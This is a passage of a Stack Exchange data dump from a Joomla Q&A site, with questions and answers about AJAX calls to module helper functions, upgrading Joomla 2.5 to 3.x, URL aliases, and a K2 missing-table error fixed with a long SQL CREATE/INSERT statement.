  <row Id="7159" PostTypeId="1" AcceptedAnswerId="7160" CreationDate="2015-01-23T07:54:38.123" Score="5" ViewCount="4376" Body="&lt;p&gt;I need to access helper class function through ajax request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In JS file :-&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var sbfootscores = {};&#xA;&#xA;    (function($){&#xA;        sbfootscores.getTeams = function(competition_id){&#xA;            $.ajax({&#xA;                url:'',&#xA;                type:&quot;POST&quot;,&#xA;                data:{com_id:competition_id},&#xA;                success: function (data) {&#xA;                    console.log(data);&#xA;                }&#xA;            });&#xA;        }&#xA;    })(jQuery)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In helper Class:-&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getTeams(){&#xA;        //i need to access this function &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What url to put in ajax's options url??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Help will be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2015-01-23T08:19:54.193" Title="Best way to call helper class function through ajax in module" Tags="|module|jquery|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7160" PostTypeId="2" ParentId="7159" CreationDate="2015-01-23T08:19:54.193" Score="2" Body="&lt;p&gt;Assuming your module is utilising the &lt;strong&gt;com_ajax&lt;/strong&gt; component that is included in Joomla 3.2+ then you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url: 'index.php?option=com_ajax&amp;amp;module=NAME&amp;amp;method=getTeams&amp;amp;format=json'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have a look at the Ajax Interface documentation for more information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-23T08:19:54.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7161" PostTypeId="1" CreationDate="2015-01-23T08:43:11.273" Score="0" ViewCount="2865" Body="&lt;p&gt;I have tried many many procedures but could not succeed migrating my Joomla 2.5.28 web site to 3.3.6. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before migration:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unistalled third party extensions which are not compatible with 3.3.6&lt;/li&gt;&#xA;&lt;li&gt;Cleared cache&lt;/li&gt;&#xA;&lt;li&gt;Got a backup&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then I set Joomla Update to &quot;Short Term Support&quot;. No new notification came up to screen like in the videos on the web. I think this is because of Joomla 2.5.x is has been deprecated since 31.12.2014. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know how to migrate now. Could that be because of I work on my local computer? Is there any possibility about that? Too silly but I think I should be obsessive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish I had only a few web sites. Then I would upgrade them copying database records to fresh installations. But I have more than 100 web sites and no time. But I have to upgrade them for security reasons.&lt;/p&gt;&#xA;" OwnerUserId="440" LastEditorUserId="159" LastEditDate="2015-01-24T18:04:50.530" LastActivityDate="2015-01-24T19:30:54.800" Title="How to upgrade Joomla 2.5.28 to 3.3 manually?" Tags="|upgrade|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7162" PostTypeId="2" ParentId="984" CreationDate="2015-01-23T08:44:50.407" Score="3" Body="&lt;p&gt;If you create a menu item for each of these then the menu item alias is used for the URL instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu you create these links in doesn't have to be published on your site, it's enough that the menu item exists in menu manager. You can create a new menu called 'dummy links', or whatever you like, and create links to your categories and articles there. You don't need to show that menu anywhere on your site.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-01-23T08:44:50.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7164" PostTypeId="1" CreationDate="2015-01-23T08:55:16.810" Score="2" ViewCount="2815" Body="&lt;p&gt;While installing &lt;a href=&quot;http://getk2.org/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;K2&lt;/a&gt; extension, Joomla 3.0, GoDaddy hosting) received error message: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Table 'iWebazoid.bq1ry_k2_categories' doesn't exist SQL=SHOW FULL COLUMNS FROM bq1ry_k2_categories&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unable to figure out the meaning. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EJ4qC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2203" LastEditorUserId="159" LastEditDate="2015-02-09T20:23:28.780" LastActivityDate="2016-06-08T15:40:23.230" Title="Error 1146 while installing K2 extension" Tags="|joomla-3.x|k2|installation|sql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7165" PostTypeId="1" AcceptedAnswerId="7237" CreationDate="2015-01-23T08:57:03.007" Score="3" ViewCount="534" Body="&lt;p&gt;I installed simplecalendar (&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/calendars-a-events/events/simplecalendar&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extensions/extension/calendars-a-events/events/simplecalendar&lt;/a&gt;) on my site (Joomla 3.2.3) and now I am facing the problem, that the module displays a events like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TITLE, LOCATION, DATE, TIME&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I would prefer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DATE, TIME, LOCATION (possible break) TITLE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already searched via FTP in &lt;em&gt;modules/mod_simplecalendar/tmpl/default.php&lt;/em&gt; but this does not seem to have influence on that.&#xA;There are some options in the backend for changing the order of the fields displayed, but those seem to apply on the content-side only and not on the module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(german screenshot)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lBMEP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a suggestion on this?&lt;/p&gt;&#xA;" OwnerUserId="3550" LastEditorUserId="3550" LastEditDate="2015-01-23T09:14:01.830" LastActivityDate="2015-01-26T12:50:23.473" Title="How to change Simple Calendar Module Output" Tags="|component|module|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7166" PostTypeId="2" ParentId="7164" CreationDate="2015-01-23T09:01:08.843" Score="2" Body="&lt;p&gt;Run this query. Don't forget to change the table name and database name to your's bq1ry_k2_categories.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `bq1ry_k2_categories` (&#xA;`id` int(11) unsigned NOT NULL,&#xA;  `name` varchar(255) NOT NULL,&#xA;  `alias` varchar(255) NOT NULL,&#xA;  `description` text NOT NULL,&#xA;  `parent` int(11) DEFAULT '0',&#xA;  `extraFieldsGroup` int(11) NOT NULL,&#xA;  `published` smallint(6) NOT NULL DEFAULT '0',&#xA;  `access` int(11) NOT NULL DEFAULT '0',&#xA;  `ordering` int(11) NOT NULL DEFAULT '0',&#xA;  `image` varchar(255) NOT NULL,&#xA;  `params` text NOT NULL,&#xA;  `trash` smallint(6) NOT NULL DEFAULT '0',&#xA;  `plugins` text NOT NULL,&#xA;  `language` char(7) NOT NULL&#xA;) ENGINE=MyISAM AUTO_INCREMENT=35 DEFAULT CHARSET=utf8;&#xA;&#xA;INSERT INTO `bq1ry_k2_categories` (`id`, `name`, `alias`, `description`, `parent`, `extraFieldsGroup`, `published`, `access`, `ordering`, `image`, `params`, `trash`, `plugins`, `language`) VALUES&#xA;(26, 'University News', 'university-news', '', 0, 1, 1, 1, 1, '', '{&quot;inheritFrom&quot;:&quot;0&quot;,&quot;theme&quot;:&quot;&quot;,&quot;num_leading_items&quot;:&quot;8&quot;,&quot;num_leading_columns&quot;:&quot;1&quot;,&quot;leadingImgSize&quot;:&quot;Medium&quot;,&quot;num_primary_items&quot;:&quot;2&quot;,&quot;num_primary_columns&quot;:&quot;1&quot;,&quot;primaryImgSize&quot;:&quot;Large&quot;,&quot;num_secondary_items&quot;:&quot;0&quot;,&quot;num_secondary_columns&quot;:&quot;1&quot;,&quot;secondaryImgSize&quot;:&quot;Large&quot;,&quot;num_links&quot;:&quot;0&quot;,&quot;num_links_columns&quot;:&quot;1&quot;,&quot;linksImgSize&quot;:&quot;XSmall&quot;,&quot;catCatalogMode&quot;:&quot;1&quot;,&quot;catFeaturedItems&quot;:&quot;1&quot;,&quot;catOrdering&quot;:&quot;&quot;,&quot;catPagination&quot;:&quot;2&quot;,&quot;catPaginationResults&quot;:&quot;1&quot;,&quot;catTitle&quot;:&quot;0&quot;,&quot;catTitleItemCounter&quot;:&quot;0&quot;,&quot;catDescription&quot;:&quot;0&quot;,&quot;catImage&quot;:&quot;0&quot;,&quot;catFeedLink&quot;:&quot;1&quot;,&quot;catFeedIcon&quot;:&quot;1&quot;,&quot;subCategories&quot;:&quot;1&quot;,&quot;subCatColumns&quot;:&quot;1&quot;,&quot;subCatOrdering&quot;:&quot;&quot;,&quot;subCatTitle&quot;:&quot;1&quot;,&quot;subCatTitleItemCounter&quot;:&quot;1&quot;,&quot;subCatDescription&quot;:&quot;1&quot;,&quot;subCatImage&quot;:&quot;1&quot;,&quot;itemImageXS&quot;:&quot;&quot;,&quot;itemImageS&quot;:&quot;&quot;,&quot;itemImageM&quot;:&quot;&quot;,&quot;itemImageL&quot;:&quot;&quot;,&quot;itemImageXL&quot;:&quot;&quot;,&quot;catItemTitle&quot;:&quot;1&quot;,&quot;catItemTitleLinked&quot;:&quot;1&quot;,&quot;catItemFeaturedNotice&quot;:&quot;1&quot;,&quot;catItemAuthor&quot;:&quot;0&quot;,&quot;catItemDateCreated&quot;:&quot;1&quot;,&quot;catItemRating&quot;:&quot;0&quot;,&quot;catItemImage&quot;:&quot;1&quot;,&quot;catItemIntroText&quot;:&quot;1&quot;,&quot;catItemIntroTextWordLimit&quot;:&quot;&quot;,&quot;catItemExtraFields&quot;:&quot;0&quot;,&quot;catItemHits&quot;:&quot;0&quot;,&quot;catItemCategory&quot;:&quot;1&quot;,&quot;catItemTags&quot;:&quot;0&quot;,&quot;catItemAttachments&quot;:&quot;0&quot;,&quot;catItemAttachmentsCounter&quot;:&quot;0&quot;,&quot;catItemVideo&quot;:&quot;0&quot;,&quot;catItemVideoWidth&quot;:&quot;&quot;,&quot;catItemVideoHeight&quot;:&quot;&quot;,&quot;catItemAudioWidth&quot;:&quot;&quot;,&quot;catItemAudioHeight&quot;:&quot;&quot;,&quot;catItemVideoAutoPlay&quot;:&quot;0&quot;,&quot;catItemImageGallery&quot;:&quot;0&quot;,&quot;catItemDateModified&quot;:&quot;0&quot;,&quot;catItemReadMore&quot;:&quot;1&quot;,&quot;catItemCommentsAnchor&quot;:&quot;0&quot;,&quot;catItemK2Plugins&quot;:&quot;1&quot;,&quot;itemDateCreated&quot;:&quot;1&quot;,&quot;itemTitle&quot;:&quot;1&quot;,&quot;itemFeaturedNotice&quot;:&quot;1&quot;,&quot;itemAuthor&quot;:&quot;1&quot;,&quot;itemFontResizer&quot;:&quot;0&quot;,&quot;itemPrintButton&quot;:&quot;0&quot;,&quot;itemEmailButton&quot;:&quot;0&quot;,&quot;itemSocialButton&quot;:&quot;1&quot;,&quot;itemVideoAnchor&quot;:&quot;1&quot;,&quot;itemImageGalleryAnchor&quot;:&quot;1&quot;,&quot;itemCommentsAnchor&quot;:&quot;1&quot;,&quot;itemRating&quot;:&quot;0&quot;,&quot;itemImage&quot;:&quot;1&quot;,&quot;itemImgSize&quot;:&quot;Large&quot;,&quot;itemImageMainCaption&quot;:&quot;1&quot;,&quot;itemImageMainCredits&quot;:&quot;1&quot;,&quot;itemIntroText&quot;:&quot;1&quot;,&quot;itemFullText&quot;:&quot;1&quot;,&quot;itemExtraFields&quot;:&quot;0&quot;,&quot;itemDateModified&quot;:&quot;0&quot;,&quot;itemHits&quot;:&quot;0&quot;,&quot;itemCategory&quot;:&quot;0&quot;,&quot;itemTags&quot;:&quot;1&quot;,&quot;itemAttachments&quot;:&quot;0&quot;,&quot;itemAttachmentsCounter&quot;:&quot;0&quot;,&quot;itemVideo&quot;:&quot;1&quot;,&quot;itemVideoWidth&quot;:&quot;&quot;,&quot;itemVideoHeight&quot;:&quot;&quot;,&quot;itemAudioWidth&quot;:&quot;&quot;,&quot;itemAudioHeight&quot;:&quot;&quot;,&quot;itemVideoAutoPlay&quot;:&quot;0&quot;,&quot;itemVideoCaption&quot;:&quot;1&quot;,&quot;itemVideoCredits&quot;:&quot;1&quot;,&quot;itemImageGallery&quot;:&quot;1&quot;,&quot;itemNavigation&quot;:&quot;0&quot;,&quot;itemComments&quot;:&quot;1&quot;,&quot;itemTwitterButton&quot;:&quot;1&quot;,&quot;itemFacebookButton&quot;:&quot;1&quot;,&quot;itemGooglePlusOneButton&quot;:&quot;1&quot;,&quot;itemAuthorBlock&quot;:&quot;0&quot;,&quot;itemAuthorImage&quot;:&quot;0&quot;,&quot;itemAuthorDescription&quot;:&quot;0&quot;,&quot;itemAuthorURL&quot;:&quot;0&quot;,&quot;itemAuthorEmail&quot;:&quot;0&quot;,&quot;itemAuthorLatest&quot;:&quot;0&quot;,&quot;itemAuthorLatestLimit&quot;:&quot;5&quot;,&quot;itemRelated&quot;:&quot;0&quot;,&quot;itemRelatedLimit&quot;:&quot;5&quot;,&quot;itemRelatedTitle&quot;:&quot;0&quot;,&quot;itemRelatedCategory&quot;:&quot;0&quot;,&quot;itemRelatedImageSize&quot;:&quot;0&quot;,&quot;itemRelatedIntrotext&quot;:&quot;0&quot;,&quot;itemRelatedFulltext&quot;:&quot;0&quot;,&quot;itemRelatedAuthor&quot;:&quot;0&quot;,&quot;itemRelatedMedia&quot;:&quot;0&quot;,&quot;itemRelatedImageGallery&quot;:&quot;0&quot;,&quot;itemK2Plugins&quot;:&quot;1&quot;,&quot;catMetaDesc&quot;:&quot;&quot;,&quot;catMetaKey&quot;:&quot;&quot;,&quot;catMetaRobots&quot;:&quot;&quot;,&quot;catMetaAuthor&quot;:&quot;&quot;}', 0, '', '*'),&#xA;(27, 'Events List 1', 'events-list-1', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Mauris at ante eu justo ultrices iaculis sit amet non est. Maecenas ac mi dapibus, iaculis ipsum ut, tempor metus.', 0, 1, 1, 1, 2, '', '{&quot;inheritFrom&quot;:&quot;0&quot;,&quot;theme&quot;:&quot;events_listing1&quot;,&quot;num_leading_items&quot;:&quot;2&quot;,&quot;num_leading_columns&quot;:&quot;1&quot;,&quot;leadingImgSize&quot;:&quot;Large&quot;,&quot;num_primary_items&quot;:&quot;2&quot;,&quot;num_primary_columns&quot;:&quot;1&quot;,&quot;primaryImgSize&quot;:&quot;Large&quot;,&quot;num_secondary_items&quot;:&quot;0&quot;,&quot;num_secondary_columns&quot;:&quot;1&quot;,&quot;secondaryImgSize&quot;:&quot;Large&quot;,&quot;num_links&quot;:&quot;0&quot;,&quot;num_links_columns&quot;:&quot;1&quot;,&quot;linksImgSize&quot;:&quot;XSmall&quot;,&quot;catCatalogMode&quot;:&quot;1&quot;,&quot;catFeaturedItems&quot;:&quot;1&quot;,&quot;catOrdering&quot;:&quot;&quot;,&quot;catPagination&quot;:&quot;2&quot;,&quot;catPaginationResults&quot;:&quot;1&quot;,&quot;catTitle&quot;:&quot;1&quot;,&quot;catTitleItemCounter&quot;:&quot;1&quot;,&quot;catDescription&quot;:&quot;1&quot;,&quot;catImage&quot;:&quot;0&quot;,&quot;catFeedLink&quot;:&quot;1&quot;,&quot;catFeedIcon&quot;:&quot;1&quot;,&quot;subCategories&quot;:&quot;1&quot;,&quot;subCatColumns&quot;:&quot;1&quot;,&quot;subCatOrdering&quot;:&quot;&quot;,&quot;subCatTitle&quot;:&quot;1&quot;,&quot;subCatTitleItemCounter&quot;:&quot;1&quot;,&quot;subCatDescription&quot;:&quot;1&quot;,&quot;subCatImage&quot;:&quot;1&quot;,&quot;itemImageXS&quot;:&quot;&quot;,&quot;itemImageS&quot;:&quot;&quot;,&quot;itemImageM&quot;:&quot;&quot;,&quot;itemImageL&quot;:&quot;&quot;,&quot;itemImageXL&quot;:&quot;&quot;,&quot;catItemTitle&quot;:&quot;1&quot;,&quot;catItemTitleLinked&quot;:&quot;1&quot;,&quot;catItemFeaturedNotice&quot;:&quot;1&quot;,&quot;catItemAuthor&quot;:&quot;0&quot;,&quot;catItemDateCreated&quot;:&quot;1&quot;,&quot;catItemRating&quot;:&quot;0&quot;,&quot;catItemImage&quot;:&quot;1&quot;,&quot;catItemIntroText&quot;:&quot;1&quot;,&quot;catItemIntroTextWordLimit&quot;:&quot;&quot;,&quot;catItemExtraFields&quot;:&quot;0&quot;,&quot;catItemHits&quot;:&quot;0&quot;,&quot;catItemCategory&quot;:&quot;1&quot;,&quot;catItemTags&quot;:&quot;0&quot;,&quot;catItemAttachments&quot;:&quot;0&quot;,&quot;catItemAttachmentsCounter&quot;:&quot;0&quot;,&quot;catItemVideo&quot;:&quot;0&quot;,&quot;catItemVideoWidth&quot;:&quot;&quot;,&quot;catItemVideoHeight&quot;:&quot;&quot;,&quot;catItemAudioWidth&quot;:&quot;&quot;,&quot;catItemAudioHeight&quot;:&quot;&quot;,&quot;catItemVideoAutoPlay&quot;:&quot;0&quot;,&quot;catItemImageGallery&quot;:&quot;0&quot;,&quot;catItemDateModified&quot;:&quot;0&quot;,&quot;catItemReadMore&quot;:&quot;1&quot;,&quot;catItemCommentsAnchor&quot;:&quot;0&quot;,&quot;catItemK2Plugins&quot;:&quot;1&quot;,&quot;itemDateCreated&quot;:&quot;1&quot;,&quot;itemTitle&quot;:&quot;1&quot;,&quot;itemFeaturedNotice&quot;:&quot;1&quot;,&quot;itemAuthor&quot;:&quot;0&quot;,&quot;itemFontResizer&quot;:&quot;0&quot;,&quot;itemPrintButton&quot;:&quot;0&quot;,&quot;itemEmailButton&quot;:&quot;0&quot;,&quot;itemSocialButton&quot;:&quot;1&quot;,&quot;itemVideoAnchor&quot;:&quot;1&quot;,&quot;itemImageGalleryAnchor&quot;:&quot;1&quot;,&quot;itemCommentsAnchor&quot;:&quot;1&quot;,&quot;itemRating&quot;:&quot;0&quot;,&quot;itemImage&quot;:&quot;1&quot;,&quot;itemImgSize&quot;:&quot;Large&quot;,&quot;itemImageMainCaption&quot;:&quot;1&quot;,&quot;itemImageMainCredits&quot;:&quot;1&quot;,&quot;itemIntroText&quot;:&quot;1&quot;,&quot;itemFullText&quot;:&quot;1&quot;,&quot;itemExtraFields&quot;:&quot;0&quot;,&quot;itemDateModified&quot;:&quot;0&quot;,&quot;itemHits&quot;:&quot;0&quot;,&quot;itemCategory&quot;:&quot;0&quot;,&quot;itemTags&quot;:&quot;1&quot;,&quot;itemAttachments&quot;:&quot;0&quot;,&quot;itemAttachmentsCounter&quot;:&quot;0&quot;,&quot;itemVideo&quot;:&quot;1&quot;,&quot;itemVideoWidth&quot;:&quot;&quot;,&quot;itemVideoHeight&quot;:&quot;&quot;,&quot;itemAudioWidth&quot;:&quot;&quot;,&quot;itemAudioHeight&quot;:&quot;&quot;,&quot;itemVideoAutoPlay&quot;:&quot;0&quot;,&quot;itemVideoCaption&quot;:&quot;1&quot;,&quot;itemVideoCredits&quot;:&quot;1&quot;,&quot;itemImageGallery&quot;:&quot;1&quot;,&quot;itemNavigation&quot;:&quot;0&quot;,&quot;itemComments&quot;:&quot;1&quot;,&quot;itemTwitterButton&quot;:&quot;1&quot;,&quot;itemFacebookButton&quot;:&quot;1&quot;,&quot;itemGooglePlusOneButton&quot;:&quot;1&quot;,&quot;itemAuthorBlock&quot;:&quot;1&quot;,&quot;itemAuthorImage&quot;:&quot;1&quot;,&quot;itemAuthorDescription&quot;:&quot;1&quot;,&quot;itemAuthorURL&quot;:&quot;1&quot;,&quot;itemAuthorEmail&quot;:&quot;0&quot;,&quot;itemAuthorLatest&quot;:&quot;1&quot;,&quot;itemAuthorLatestLimit&quot;:&quot;5&quot;,&quot;itemRelated&quot;:&quot;1&quot;,&quot;itemRelatedLimit&quot;:&quot;5&quot;,&quot;itemRelatedTitle&quot;:&quot;1&quot;,&quot;itemRelatedCategory&quot;:&quot;1&quot;,&quot;itemRelatedImageSize&quot;:&quot;0&quot;,&quot;itemRelatedIntrotext&quot;:&quot;1&quot;,&quot;itemRelatedFulltext&quot;:&quot;1&quot;,&quot;itemRelatedAuthor&quot;:&quot;1&quot;,&quot;itemRelatedMedia&quot;:&quot;1&quot;,&quot;itemRelatedImageGallery&quot;:&quot;1&quot;,&quot;itemK2Plugins&quot;:&quot;1&quot;,&quot;catMetaDesc&quot;:&quot;&quot;,&quot;catMetaKey&quot;:&quot;&quot;,&quot;catMetaRobots&quot;:&quot;&quot;,&quot;catMetaAuthor&quot;:&quot;&quot;}', 0, '', '*'),&#xA;(33, 'Staff &amp;amp; Administration', 'staff-administration', '', 0, 2, 1, 1, 4, '', '{&quot;inheritFrom&quot;:&quot;0&quot;,&quot;theme&quot;:&quot;professors&quot;,&quot;num_leading_items&quot;:&quot;8&quot;,&quot;num_leading_columns&quot;:&quot;4&quot;,&quot;leadingImgSize&quot;:&quot;Large&quot;,&quot;num_primary_items&quot;:&quot;4&quot;,&quot;num_primary_columns&quot;:&quot;2&quot;,&quot;primaryImgSize&quot;:&quot;Medium&quot;,&quot;num_secondary_items&quot;:&quot;4&quot;,&quot;num_secondary_columns&quot;:&quot;1&quot;,&quot;secondaryImgSize&quot;:&quot;Small&quot;,&quot;num_links&quot;:&quot;4&quot;,&quot;num_links_columns&quot;:&quot;1&quot;,&quot;linksImgSize&quot;:&quot;XSmall&quot;,&quot;catCatalogMode&quot;:&quot;0&quot;,&quot;catFeaturedItems&quot;:&quot;1&quot;,&quot;catOrdering&quot;:&quot;&quot;,&quot;catPagination&quot;:&quot;2&quot;,&quot;catPaginationResults&quot;:&quot;1&quot;,&quot;catTitle&quot;:&quot;1&quot;,&quot;catTitleItemCounter&quot;:&quot;0&quot;,&quot;catDescription&quot;:&quot;1&quot;,&quot;catImage&quot;:&quot;0&quot;,&quot;catFeedLink&quot;:&quot;1&quot;,&quot;catFeedIcon&quot;:&quot;1&quot;,&quot;subCategories&quot;:&quot;1&quot;,&quot;subCatColumns&quot;:&quot;2&quot;,&quot;subCatOrdering&quot;:&quot;&quot;,&quot;subCatTitle&quot;:&quot;1&quot;,&quot;subCatTitleItemCounter&quot;:&quot;1&quot;,&quot;subCatDescription&quot;:&quot;1&quot;,&quot;subCatImage&quot;:&quot;1&quot;,&quot;itemImageXS&quot;:&quot;&quot;,&quot;itemImageS&quot;:&quot;&quot;,&quot;itemImageM&quot;:&quot;&quot;,&quot;itemImageL&quot;:&quot;&quot;,&quot;itemImageXL&quot;:&quot;&quot;,&quot;catItemTitle&quot;:&quot;1&quot;,&quot;catItemTitleLinked&quot;:&quot;1&quot;,&quot;catItemFeaturedNotice&quot;:&quot;1&quot;,&quot;catItemAuthor&quot;:&quot;1&quot;,&quot;catItemDateCreated&quot;:&quot;1&quot;,&quot;catItemRating&quot;:&quot;0&quot;,&quot;catItemImage&quot;:&quot;1&quot;,&quot;catItemIntroText&quot;:&quot;1&quot;,&quot;catItemIntroTextWordLimit&quot;:&quot;&quot;,&quot;catItemExtraFields&quot;:&quot;0&quot;,&quot;catItemHits&quot;:&quot;0&quot;,&quot;catItemCategory&quot;:&quot;1&quot;,&quot;catItemTags&quot;:&quot;1&quot;,&quot;catItemAttachments&quot;:&quot;0&quot;,&quot;catItemAttachmentsCounter&quot;:&quot;0&quot;,&quot;catItemVideo&quot;:&quot;0&quot;,&quot;catItemVideoWidth&quot;:&quot;&quot;,&quot;catItemVideoHeight&quot;:&quot;&quot;,&quot;catItemAudioWidth&quot;:&quot;&quot;,&quot;catItemAudioHeight&quot;:&quot;&quot;,&quot;catItemVideoAutoPlay&quot;:&quot;0&quot;,&quot;catItemImageGallery&quot;:&quot;0&quot;,&quot;catItemDateModified&quot;:&quot;0&quot;,&quot;catItemReadMore&quot;:&quot;1&quot;,&quot;catItemCommentsAnchor&quot;:&quot;1&quot;,&quot;catItemK2Plugins&quot;:&quot;1&quot;,&quot;itemDateCreated&quot;:&quot;1&quot;,&quot;itemTitle&quot;:&quot;1&quot;,&quot;itemFeaturedNotice&quot;:&quot;1&quot;,&quot;itemAuthor&quot;:&quot;1&quot;,&quot;itemFontResizer&quot;:&quot;0&quot;,&quot;itemPrintButton&quot;:&quot;0&quot;,&quot;itemEmailButton&quot;:&quot;0&quot;,&quot;itemSocialButton&quot;:&quot;1&quot;,&quot;itemVideoAnchor&quot;:&quot;1&quot;,&quot;itemImageGalleryAnchor&quot;:&quot;1&quot;,&quot;itemCommentsAnchor&quot;:&quot;1&quot;,&quot;itemRating&quot;:&quot;0&quot;,&quot;itemImage&quot;:&quot;1&quot;,&quot;itemImgSize&quot;:&quot;Large&quot;,&quot;itemImageMainCaption&quot;:&quot;1&quot;,&quot;itemImageMainCredits&quot;:&quot;1&quot;,&quot;itemIntroText&quot;:&quot;1&quot;,&quot;itemFullText&quot;:&quot;1&quot;,&quot;itemExtraFields&quot;:&quot;1&quot;,&quot;itemDateModified&quot;:&quot;1&quot;,&quot;itemHits&quot;:&quot;1&quot;,&quot;itemCategory&quot;:&quot;1&quot;,&quot;itemTags&quot;:&quot;1&quot;,&quot;itemAttachments&quot;:&quot;1&quot;,&quot;itemAttachmentsCounter&quot;:&quot;1&quot;,&quot;itemVideo&quot;:&quot;1&quot;,&quot;itemVideoWidth&quot;:&quot;&quot;,&quot;itemVideoHeight&quot;:&quot;&quot;,&quot;itemAudioWidth&quot;:&quot;&quot;,&quot;itemAudioHeight&quot;:&quot;&quot;,&quot;itemVideoAutoPlay&quot;:&quot;0&quot;,&quot;itemVideoCaption&quot;:&quot;1&quot;,&quot;itemVideoCredits&quot;:&quot;1&quot;,&quot;itemImageGallery&quot;:&quot;1&quot;,&quot;itemNavigation&quot;:&quot;1&quot;,&quot;itemComments&quot;:&quot;1&quot;,&quot;itemTwitterButton&quot;:&quot;1&quot;,&quot;itemFacebookButton&quot;:&quot;1&quot;,&quot;itemGooglePlusOneButton&quot;:&quot;1&quot;,&quot;itemAuthorBlock&quot;:&quot;1&quot;,&quot;itemAuthorImage&quot;:&quot;1&quot;,&quot;itemAuthorDescription&quot;:&quot;1&quot;,&quot;itemAuthorURL&quot;:&quot;1&quot;,&quot;itemAuthorEmail&quot;:&quot;0&quot;,&quot;itemAuthorLatest&quot;:&quot;1&quot;,&quot;itemAuthorLatestLimit&quot;:&quot;5&quot;,&quot;itemRelated&quot;:&quot;1&quot;,&quot;itemRelatedLimit&quot;:&quot;5&quot;,&quot;itemRelatedTitle&quot;:&quot;1&quot;,&quot;itemRelatedCategory&quot;:&quot;0&quot;,&quot;itemRelatedImageSize&quot;:&quot;0&quot;,&quot;itemRelatedIntrotext&quot;:&quot;0&quot;,&quot;itemRelatedFulltext&quot;:&quot;0&quot;,&quot;itemRelatedAuthor&quot;:&quot;0&quot;,&quot;itemRelatedMedia&quot;:&quot;0&quot;,&quot;itemRelatedImageGallery&quot;:&quot;0&quot;,&quot;itemK2Plugins&quot;:&quot;1&quot;,&quot;catMetaDesc&quot;:&quot;&quot;,&quot;catMetaKey&quot;:&quot;&quot;,&quot;catMetaRobots&quot;:&quot;&quot;,&quot;catMetaAuthor&quot;:&quot;&quot;}', 0, '', '*'),&#xA;(34, 'Events List 2', 'events-list-2', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Mauris at ante eu justo ultrices iaculis sit amet non est. Maecenas ac mi dapibus, iaculis ipsum ut, tempor metus.', 0, 1, 1, 1, 3, '', '{&quot;inheritFrom&quot;:&quot;0&quot;,&quot;theme&quot;:&quot;events_listing2&quot;,&quot;num_leading_items&quot;:&quot;2&quot;,&quot;num_leading_columns&quot;:&quot;1&quot;,&quot;leadingImgSize&quot;:&quot;Large&quot;,&quot;num_primary_items&quot;:&quot;2&quot;,&quot;num_primary_columns&quot;:&quot;1&quot;,&quot;primaryImgSize&quot;:&quot;Large&quot;,&quot;num_secondary_items&quot;:&quot;0&quot;,&quot;num_secondary_columns&quot;:&quot;1&quot;,&quot;secondaryImgSize&quot;:&quot;Large&quot;,&quot;num_links&quot;:&quot;0&quot;,&quot;num_links_columns&quot;:&quot;1&quot;,&quot;linksImgSize&quot;:&quot;XSmall&quot;,&quot;catCatalogMode&quot;:&quot;1&quot;,&quot;catFeaturedItems&quot;:&quot;1&quot;,&quot;catOrdering&quot;:&quot;&quot;,&quot;catPagination&quot;:&quot;2&quot;,&quot;catPaginationResults&quot;:&quot;1&quot;,&quot;catTitle&quot;:&quot;1&quot;,&quot;catTitleItemCounter&quot;:&quot;1&quot;,&quot;catDescription&quot;:&quot;1&quot;,&quot;catImage&quot;:&quot;0&quot;,&quot;catFeedLink&quot;:&quot;1&quot;,&quot;catFeedIcon&quot;: